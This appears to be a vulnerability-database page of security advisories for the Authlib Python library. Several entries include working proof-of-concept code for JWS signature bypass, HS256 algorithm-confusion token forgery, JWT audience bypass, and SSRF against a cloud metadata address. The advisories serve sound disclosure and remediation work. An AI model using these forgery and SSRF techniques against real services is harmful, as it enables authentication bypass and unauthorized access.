Where
-Infinity
0
Severity
9.8
EPSS
0.28%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserializejson() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Root cause

authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:

python isvalid = True # set before anything is checked for headerobj in obj["signatures"]: # empty array means the body never runs jwsheader, valid = self.validatejsonjws(...) if not valid: isvalid = False ... if isvalid: return rv # returns the payload as verified

isvalid is initialised to True and only ever set to False from inside the loop. A JWS JSON Serialization object whose signatures array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined.

Reproduction

python import base64 from authlib.jose import JsonWebSignature

def b64(b): return base64.urlsafeb64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []}

print(jws.deserializejson(forged, key=None))

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

[A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError badsignature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value:

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with BadSignatureError. The correct behaviour already exists in your newer library.

Impact

Any relying party that calls JsonWebSignature.deserializejson() on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material.

What would fix it

In deserializejson, reject an empty signatures array before the loop, or initialise the flag from the signature count, for example isvalid = len(obj["signatures"]) > 0. Pull request #938 proposes the same thing.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Authlib version 1.7.2 and below contains a vulnerability where discovery JSON metadata is cached without validation or issuer-origin binding. This allows a poisoned discovery response to replace all endpoint values with attacker-controlled values rather than endpoint URLs that share the origin of the configured server metadata URL.

First published (updated )
Severity
9.1
Weak Encryption
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.1, Authlib's OctKey.importkey() and HMAC signing and verification path accept zero-length key material. If an application's secret lookup can return an empty string or empty bytes, a remote attacker can compute the deterministic HS256, HS384, or HS512 signature for arbitrary token claims and have Authlib treat the token as authentic. This issue is fixed in version 1.9.1.

1 / 3
Source: Ubuntu
First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

OctKey.importkey() carries the only guard that stops an asymmetric public key from being used as an HMAC secret in authlib.jose. That guard is rawkey.startswith(POSSIBLEUNSAFEKEYS) — anchored at byte 0 — while the loader that consumes the identical bytes on the asymmetric path (cryptography.hazmat.primitives.serialization.loadpempublickey / loadpemx509certificate) skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as authentic.

This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly this guard (git log -S 'POSSIBLEUNSAFEKEYS' -- authlib/jose/rfc7518/octkey.py returns a single commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the original attack works again unchanged whenever the stored PEM does not start at offset 0.

Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main (c529a61), with cryptography 50.0.2.

Preconditions

Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.

1. The relying party uses the documented module-level jwt object. from authlib.jose import jwt is built at authlib/jose/init.py:55-72 with the full list ["HS256","HS384","HS512","RS256",...,"EdDSA"], and JsonWebToken.decode (authlib/jose/rfc7519/jwt.py:80) exposes no algorithms parameter, so a caller of the documented object has no way to narrow it. This is the first code sample in docs/jose/jwt.rst:21-31.

This hazard is already documented: docs/jose/jwt.rst:73-79 says "This decoding method is insecure. By default jwt.decode parses the alg header. This allows symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is not that the mixed list exists — it is that the octkey.py:81 backstop shipped for precisely that documented hazard does not hold.

2. The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with -----BEGIN . Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: one leading newline — what a triple-quoted Python literal produces one leading space four-space indentation — an indented YAML/JSON/TOML config block a UTF-8 BOM — a Windows-editor artifact a leading comment line all of the above applied to an X.509 CERTIFICATE PEM instead of a PUBLIC KEY PEM

A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.

Details

authlib/jose/rfc7518/octkey.py:10-17

python POSSIBLEUNSAFEKEYS = ( b"-----BEGIN ", b"---- BEGIN ", b"ssh-rsa ", b"ssh-dss ", b"ssh-ed25519 ", b"ecdsa-sha2-", )

authlib/jose/rfc7518/octkey.py:78-84

python rawkey = tobytes(raw)

security check if rawkey.startswith(POSSIBLEUNSAFEKEYS): raise ValueError("This key may not be safe to import")

key = cls(rawkey=rawkey, options=options)

bytes.startswith is anchored. The loader on the asymmetric path is not: authlib/jose/rfc7517/cryptographykey.py:22-29 calls loadpempublickey / loadpemx509certificate, both of which scan forward for the armour header. So the set of byte strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference is exploitable.

Reach, for a caller of the documented object:

authlib/jose/rfc7518/jwsalgs.py:59 — HMACAlgorithm.preparekey(rawdata) returns OctKey.importkey(rawdata); this is the whole of the HMAC key handling. authlib/jose/rfc7519/jwt.py:80 — JsonWebToken.decode(self, s, key, claimscls=None, claimsoptions=None, claimsparams=None); the algorithm comes from the token header and is checked only against the instance's list. authlib/jose/init.py:55-72 — that list contains both HS\ and RS\/ES\/PS\/EdDSA.

So octkey.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC secret, and it is bypassed by a single leading byte.

PoC

poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented jwt.decode(token, PUBLICKEY), where PUBLICKEY is the issuer's RSA public key embedded as a triple-quoted Python literal (hence one leading newline). The attacker is given only that public key.

authlib=1.8.0 cryptography=50.0.2 flask=3.1.3 guard = authlib/jose/rfc7518/octkey.py:81 rawkey.startswith(POSSIBLEUNSAFEKEYS) call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no algorithms param] algs = authlib/jose/init.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])

[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}') [baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DBROOTPASSWORD=hunter2; STRIPESK=sklivedeadbeef","ok":true,"sub":"root"}') [CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: badsignature: "}') [CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import [CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError

ATTACKER INPUT: only IDPPUBCANONICAL (public by definition), no private key. forged token header: {'alg': 'HS256', 'typ': 'JWT'} [ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DBROOTPASSWORD=hunter2; STRIPESK=sklivedeadbeef","ok":true,"sub":"attacker"}')

The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.

Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:

RSA-2048/RS256 canonical PEM (CONTROL A) loader=loadpempublickey startswithguard=True RS/ES-verify=OK BLOCKED:ValueError indented PEM (4 spaces) loader=loadpempublickey startswithguard=False RS/ES-verify=OK FORGED sub=superadmin role=admin UTF-8 BOM prefix loader=loadpempublickey startswithguard=False RS/ES-verify=OK FORGED sub=superadmin role=admin leading comment line loader=loadpempublickey startswithguard=False RS/ES-verify=OK FORGED sub=superadmin role=admin leading blank line loader=loadpempublickey startswithguard=False RS/ES-verify=OK FORGED sub=superadmin role=admin leading single space loader=loadpempublickey startswithguard=False RS/ES-verify=OK FORGED sub=superadmin role=admin DER (SPKI) bytes loader=loadderpublickey startswithguard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin [CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError

EC-P256/ES256 identical results for all seven rows

Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.

Steps to reproduce

1. pip install authlib==1.8.0 cryptography flask requests 2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line). 3. Confirm authlib.jose.rfc7518.octkey.POSSIBLEUNSAFEKEYS does not match those bytes with startswith, while cryptography.hazmat.primitives.serialization.loadpempublickey loads them. 4. from authlib.jose import jwt then tok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutatedpem) 5. jwt.decode(tok, mutatedpem) — verification succeeds and the claims are returned.

Impact

Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP 200 and the application's admin secrets for sub=attacker.

Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent, read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented footgun it backstops.

Two notes for triage, in the interest of completeness:

authlib.jose emits AuthlibDeprecationWarning ("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented in docs/jose/jwt.rst, and still carries the download volume above. joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit kty in the data model, so jwt.decode with an RSAKey/ECKey and alg=HS256 raises InvalidKeyTypeError for every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.

Suggested remediation

Either of these closes the class rather than one more byte form:

1. Decide key family by type, not by bytes. Attempt loadpempublickey / loadpemx509certificate / loadsshpublickey / loadderpublickey on the candidate and reject it as an oct key if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. 2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check (any(m in rawkey for m in POSSIBLEUNSAFEKEYS)) and add the -----BEGIN CERTIFICATE----- and DER SubjectPublicKeyInfo cases. This is strictly weaker than (1): the recogniser can drift again the next time cryptography becomes more tolerant.

Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter would let callers of the documented module-level object apply the mitigation the docs recommend without constructing a second JsonWebToken.

Credit

Found by zer0d4y5. Happy to test a patch branch before release.

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
CSRF
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Authlib is a Python library which builds OAuth and OpenID Connect servers. In versions 1.0.0 through 1.6.5, cache-backed state/request-token storage is not tied to the initiating user session, so CSRF is possible for any attacker that has a valid state (easily obtainable via an attacker-initiated authentication flow). When a cache is supplied to the OAuth client registry, FrameworkIntegration.setstatedata writes the entire state blob under state{app}{state}, and getstatedata ignores the caller’s session altogether. This issue has been patched in version 1.6.6.

1 / 3
Source: Ubuntu
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

Summary

RFC 7592 (OAuth 2.0 Dynamic Client Registration Management Protocol) lets a previously registered client read, update, or delete its own registration, authenticated by a registrationaccesstoken issued specifically to that client at registration time. The entire security model of this protocol depends on the server verifying that the token presented in the request actually belongs to the client identified in the request, not merely that the token is valid for some client.

Authlib's ClientConfigurationEndpoint implements the control flow correctly in structure, calling authenticatetoken, then authenticateclient, then checkpermission, and treats all three as abstract methods that "Developers MUST implement in subclass." The problem is that the documented example implementations for these methods, taken together exactly as written, never perform the one check that matters: binding the authenticated token to the specific client being accessed. A developer who implements these methods by following the provided examples ends up with a complete authorization bypass on this endpoint.

Details

authenticateclient's documented example (authlib/oauth2/rfc7592/endpoint.py):

python def authenticateclient(self, request): """Read a client from the request payload. Developers MUST implement this method in subclass::

def authenticateclient(self, request): clientid = request.payload.data.get("clientid") return Client.get(clientid=clientid)

:return: client instance """ raise NotImplementedError()

This looks the target client up purely by the clientid supplied in the request payload, with no reference to the token at all.

checkpermission's documented example, in the same file:

python def checkpermission(self, client, request): """Checks whether the current client is allowed to be accessed, edited or deleted. Developers MUST implement it in subclass, e.g.::

def checkpermission(self, client, request): return client.editable

:return: boolean """ raise NotImplementedError()

This checks a property of the target client alone (whether it is generally "editable"), again with no reference to request.credential, the authenticated token object returned earlier by authenticatetoken and stored on the request specifically so that later steps can check it:

python def createconfigurationresponse(self, request): token = self.authenticatetoken(request) if not token: raise AccessDeniedError()

request.credential = token

client = self.authenticateclient(request) ... if not self.checkpermission(client, request): raise UnauthorizedClientError(...)

request.credential is set specifically so that a binding check can be performed downstream, but neither documented example ever reads it. Following both examples as written produces an implementation where the only requirements to access, modify, or delete a client's registration are: possessing any valid registrationaccesstoken for any client, and knowing or guessing the target clientid.

This is meaningfully different from how the equivalent example is written for the token introspection endpoint (RFC 7662) elsewhere in the same codebase, which does correctly demonstrate checking the authenticated caller's own identity (authlib/oauth2/rfc7662/introspection.py):

python def checkpermission(self, token, client, request): """Check if the request has permission to introspect the token. Developers MUST implement this method::

def checkpermission(self, token, client, request): # only allow a special client to introspect the token return client.clientid == "introspectionclient" """

In that endpoint, client represents the already-authenticated caller (verified through normal client credential authentication earlier in the flow), so checking a property of client is meaningful authorization logic. In the RFC 7592 endpoint, client instead represents the target being acted upon, not the caller, so the same style of example is actively misleading: it looks like a reasonable authorization check but performs none of the binding the protocol requires.

No file anywhere in the repository, including the Flask, Django, and SQLAlchemy integration modules, provides a complete, corrected reference implementation of ClientConfigurationEndpoint. The misleading docstring examples are the only guidance shipped for this endpoint.

Realistic exploitability

RFC 7591 dynamic client registration is commonly deployed without requiring an initial access token, since the specification explicitly anticipates open, self-service registration as a normal deployment model. Under that common configuration, an attacker can freely self-register their own throwaway client with no authentication at all, receive a valid registrationaccesstoken scoped to that throwaway client, and then present that same token against /register/{targetclientid} for any other client, since neither documented example checks that the token corresponds to the target. If the target client's editable property (or whatever equivalent the developer implements based on the documented example) is true, an attacker can read the victim client's full registration including its metadata, update it (for example, changing redirecturis to an attacker-controlled endpoint, enabling authorization code or token interception against that client's users), or delete it outright.

Reproduction

1. Deploy an authorization server using ClientConfigurationEndpoint with authenticateclient and checkpermission implemented exactly as documented in the class's own docstrings. 2. As an attacker, register a new client via the RFC 7591 registration endpoint (commonly open/anonymous), obtaining clientidA and registrationaccesstokenA. 3. Identify or guess clientidB, belonging to a different, unrelated client. 4. Send GET /register/clientidB (or PUT/DELETE) with Authorization: Bearer registrationaccesstokenA, and clientid set to clientidB in the request body for the PUT case. 5. authenticatetoken succeeds because registrationaccesstokenA is a valid token. authenticateclient succeeds because it looks up clientidB directly from the payload, ignoring which token was presented. checkpermission succeeds because it only checks clientB.editable, not whether registrationaccesstokenA has any relationship to clientB. The request proceeds and returns, modifies, or deletes client B's registration.

Impact

Full read, modify, and delete access to any other client's registration record, for any party able to obtain a valid registrationaccesstoken for any client of their own. In an open dynamic registration deployment this reduces to no meaningful barrier at all, since attackers can self-issue their own qualifying token for free. Impact includes disclosure of client metadata, redirect URI hijacking enabling authorization code or token interception, and denial of service via deletion of arbitrary client registrations.

Suggested fix

Update the documented example for checkpermission (or authenticateclient) to explicitly demonstrate binding the authenticated token to the target client, for example:

python def checkpermission(self, client, request): return request.credential.clientid == client.getclientid()

and add an explicit warning in both docstrings that omitting this comparison results in a complete authorization bypass on this endpoint. Consider also shipping a complete, correct reference implementation of ClientConfigurationEndpoint in the Flask/Django/SQLAlchemy integration modules, since none currently exists.

---

Affected products

Ecosystem: pip Package name: Authlib Affected versions: 1.7.2 Patched versions: 1.9.1

Severity

Privileges Required is Low, reflecting that the attacker needs some registrationaccesstoken of their own, which under the common open dynamic registration deployment model is trivially self-issued. This is a documentation/reference-implementation issue rather than a bug the library enforces unconditionally on every deployment, since authenticateclient and checkpermission are abstract methods a developer must implement; the finding is that the only guidance provided for implementing them correctly is, itself, exploitable if followed as written.

1 / 3
Source: GitHub
First published (updated )
Severity
7

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a library-level vulnerability was identified in the Authlib Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (verifyhash) responsible for validating the athash (Access Token Hash) and chash (Authorization Code Hash) claims exhibits a fail-open behavior when encountering an unsupported or unknown cryptographic algorithm. This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized alg header parameter. The library intercepts the unsupported state and silently returns True (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications. This issue has been patched in version 1.6.9.

First published (updated )
Severity
7

Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.

First published (updated )
Severity
7

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.

First published (updated )
Severity
7

Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserializejson() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

First published (updated )
Severity
6.8
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Description

Summary

Authlib's default RFC 7523 JWT bearer grant leaves getaudiences() empty, so verifyclaims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.

To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.

Affected Entrypoints

- authlib.oauth2.rfc7523.JWTBearerGrant — default getaudiences() returns empty list - authlib.jose.jwt.decode() with claimsoptions for audience validation - authlib.integrations.flaskoauth2.ResourceProtector.validaterequest() when audience checking is enabled

Exploit Path

1. Attacker authenticates to Service A (low-privilege) 2. Authorization server issues JWT with "aud": "https://evil.test/token" 3. Attacker presents this assertion to Service B's token endpoint 4. Service B uses default JWTBearerGrant (getaudiences() = []) 5. verifyclaims() only checks aud exists, not its value 6. Service B issues an access token — audience bypass achieved

Proof of Concept

python #!/usr/bin/env python3 """ Demonstrates that the default JWTBearerGrant accepts JWT assertions whose audience does not match the token endpoint, while a strict audience override correctly rejects them. """ import json import os import sys

from joserfc.jwk import KeySet, OctKey

WRONGAUDIENCE = "https://evil.test/token" EXPECTEDAUDIENCE = "https://provider.test/token" GRANTTYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"

def buildandexercise(strictaudience: bool) -> tuple[int, dict]: from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant # Uses Authlib's own Flask test fixtures from tests.flask.testoauth2.models import Client, User, db from tests.flask.testoauth2.oauth2server import ( createauthorizationserver, createflaskapp, )

class JWTBearerGrant(BaseJWTBearerGrant): def resolveissuerclient(self, issuer): return Client.query.filterby(clientid=issuer).first()

def resolveclientpublickey(self, client): return KeySet([ OctKey.importkey("foo", {"kid": "1"}), OctKey.importkey("bar", {"kid": "2"}), ])

def authenticateuser(self, subject): return None

def hasgrantedpermission(self, client, user): return True

# Only override getaudiences when testing strict mode if strictaudience: def getaudiences(self): return [EXPECTEDAUDIENCE]

app = createflaskapp() os.environ["AUTHLIBINSECURETRANSPORT"] = "true"

with app.appcontext(): db.initapp(app) db.createall()

user = User(username="demo-user") db.session.add(user) db.session.commit()

client = Client( userid=user.id, clientid="client-id", clientsecret="client-secret", ) client.setclientmetadata({ "scope": "profile", "redirecturis": ["https://client.test/authorized"], "granttypes": [GRANTTYPE], }) db.session.add(client) db.session.commit()

server = createauthorizationserver(app) server.registergrant(JWTBearerGrant)

# Sign assertion with WRONG audience assertion = JWTBearerGrant.sign( "foo", issuer="client-id", audience=WRONGAUDIENCE, # <-- Not the expected audience subject=None, header={"alg": "HS256", "kid": "1"}, )

rv = app.testclient().post( "/oauth/token", data={"granttype": GRANTTYPE, "assertion": assertion}, ) body = json.loads(rv.data) db.session.remove() db.dropall() return rv.statuscode, body

def main() -> int: # Test 1: Default grant (no audience enforcement) vulnstatus, vulnbody = buildandexercise(strictaudience=False)

# Test 2: Strict audience grant (correct behavior) strictstatus, strictbody = buildandexercise(strictaudience=True)

result = { "wrongaudience": WRONGAUDIENCE, "expectedaudience": EXPECTEDAUDIENCE, "vulnerablestatus": vulnstatus, "vulnerablebody": vulnbody, "strictstatus": strictstatus, "strictbody": strictbody, } print(json.dumps(result, indent=2, sortkeys=True))

if ( vulnstatus == 200 and "accesstoken" in vulnbody and strictbody.get("error") == "invalidgrant" ): print( "POCSUCCESS: default JWTBearerGrant issued an access token for " "an assertion whose aud did not match the token endpoint, while " "strict audience validation rejected the same assertion." ) return 0

print("POCFAILURE: expected token issuance under default grant " "and invalidgrant under strict audience control.") return 1

if name == "main": raise SystemExit(main())

Observed Result

- Default grant (vulnerable): HTTP 200, accesstoken issued despite aud: "https://evil.test/token" - Strict grant (fixed): HTTP 400, error: "invalidgrant" — correctly rejects mismatched audience - Confirms the default getaudiences() returns empty, so audience validation is effectively skipped

Impact

- Vulnerability Type: CWE-287 — Improper Authentication - An attacker with a valid JWT assertion for any service can use it to obtain tokens from a different service sharing the same signing keys - Particularly dangerous in microservice architectures where services share identity infrastructure - Enables unauthorized access escalation across trust boundaries - The vulnerability is in the default behavior — most integrations won't override getaudiences() --- Credit Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

1 / 3
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.5, Authlib’s JWE zip=DEF path performs unbounded DEFLATE decompression. A very small ciphertext can expand into tens or hundreds of megabytes on decrypt, allowing an attacker who can supply decryptable tokens to exhaust memory and CPU and cause denial of service. This issue has been patched in version 1.6.5. Workarounds for this issue involve rejecting or stripping zip=DEF for inbound JWEs at the application boundary, forking and add a bounded decompression guard via decompressobj().decompress(data, MAXSIZE)) and returning an error when output exceeds a safe limit, or enforcing strict maximum token sizes and fail fast on oversized inputs; combine with rate limiting.

First published (updated )
Severity
5.4
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.11, there is no CSRF protection on the cache feature in authlib.integrations.starletteclient.OAuth. This vulnerability is fixed in 1.6.11.

1 / 2
Source: MITRE
First published (updated )
Severity
5.4
SSRF
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

Authlib's RFC 9101 (JAR) extension passes the attacker-controlled requesturi authorization parameter straight to the getrequestobject() fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (requesturis client metadata and requirerequesturiregistration server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted requests.get(requesturi). Deployments following the documented pattern get an unauthenticated SSRF primitive. Details

Verified against authlib 1.7.2 and current main. All line numbers below are from authlib/oauth2/rfc9101/authorizationserver.py.

The extension registers itself on the beforegetauthorizationgrant hook (lines 62-65), so it runs on every authorization request before any user or client authentication. supportrequesturi defaults to True (line 58).

The only gate before the sink is that clientid names an existing client (lines 91-103). A clientid is a public, non-secret identifier.

The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check:

python def getrawrequestobject(self, request: OAuth2Request) -> str: if "requesturi" in request.payload.data: rawrequestobject = self.getrequestobject( request.payload.data["requesturi"] ) if not rawrequestobject: raise InvalidRequestUriError(state=request.payload.state)

getrequestobject is abstract (line 213, raise NotImplementedError() at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223):

python def getrequestobject(self, requesturi: str): try: return requests.get(requesturi).text except requests.Exception: return None

Two points sharpen this beyond a generic documentation issue:

- The allowlist already exists and is ignored. Authlib validates requesturis as client metadata (authlib/oauth2/rfc7591/claims.py:319) and requirerequesturiregistration as server metadata (authlib/oauth2/rfc8414/models.py:263). The rfc9101 package contains zero references to either name, so the pre-registration model is never enforced at the point of use. - RFC 9101 §10.4.1 asks for controls that are absent. It states the server should "a) check that the value of the requesturi parameter does not point to an unexpected location, b) check that the media type of the response is application/oauth-authz-req+jwt, c) implement a timeout for obtaining the content of requesturi, and d) not perform recursive GET on the requesturi." The extension implements none of these and the documented example implements none of them either.

The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises InvalidRequestUriError (invalidrequesturi, lines 162-163), while a successful fetch of non-JWT content raises InvalidRequestObjectError (invalidrequestobject, line 186).

PoC

This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication.

bash python -m venv .venv && .venv/bin/pip install authlib

python from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request from authlib.oauth2.rfc9101 import JWTAuthenticationRequest

reached = []

class Extension(JWTAuthenticationRequest): def getrequestobject(self, requesturi): reached.append(requesturi) # the docstring puts requests.get(requesturi) here return None

def resolveclientpublickey(self, client): return {"keys": []}

def getservermetadata(self): return {}

def getclientrequiresignedrequestobject(self, client): return False

class AuthorizationServer: def queryclient(self, clientid): return object()

uri = "http://169.254.169.254/latest/meta-data/" request = OAuth2Request("GET", "https://as.example/authorize") request.payload = BasicOAuth2Payload({"clientid": "demo", "requesturi": uri})

try: Extension().parseauthorizationrequest(AuthorizationServer(), request) except Exception as exc: print("error:", type(exc).name)

print("fetch hook received:", reached)

Output on authlib 1.7.2:

text error: InvalidRequestUriError fetch hook received: ['http://169.254.169.254/latest/meta-data/']

Against a deployment that used the docstring implementation, the equivalent unauthenticated request is:

text GET /authorize?responsetype=code&clientid=demo&requesturi=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F

Returning a fetched-but-non-JWT body instead of None in the snippet above yields InvalidRequestObjectError rather than InvalidRequestUriError, showing the oracle that distinguishes a reachable target from an unreachable one.

Impact

Server-side request forgery, reachable without authentication by anyone who knows a valid clientid. In a deployment that implemented getrequestobject as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as 169.254.169.254, and side-effectful internal GET routes. The invalidrequesturi versus invalidrequestobject split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 §10.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open.

Response bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected — but authlib provides no hook to make that the default, ships supportrequesturi=True, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one.

1 / 3
Source: GitHub
First published (updated )
Severity
5.4
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.11, there is no CSRF protection on the cache feature in authlib.integrations.starletteclient.OAuth. This vulnerability is fixed in 1.6.11.

First published (updated )
Severity
4.6
AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Report metadata

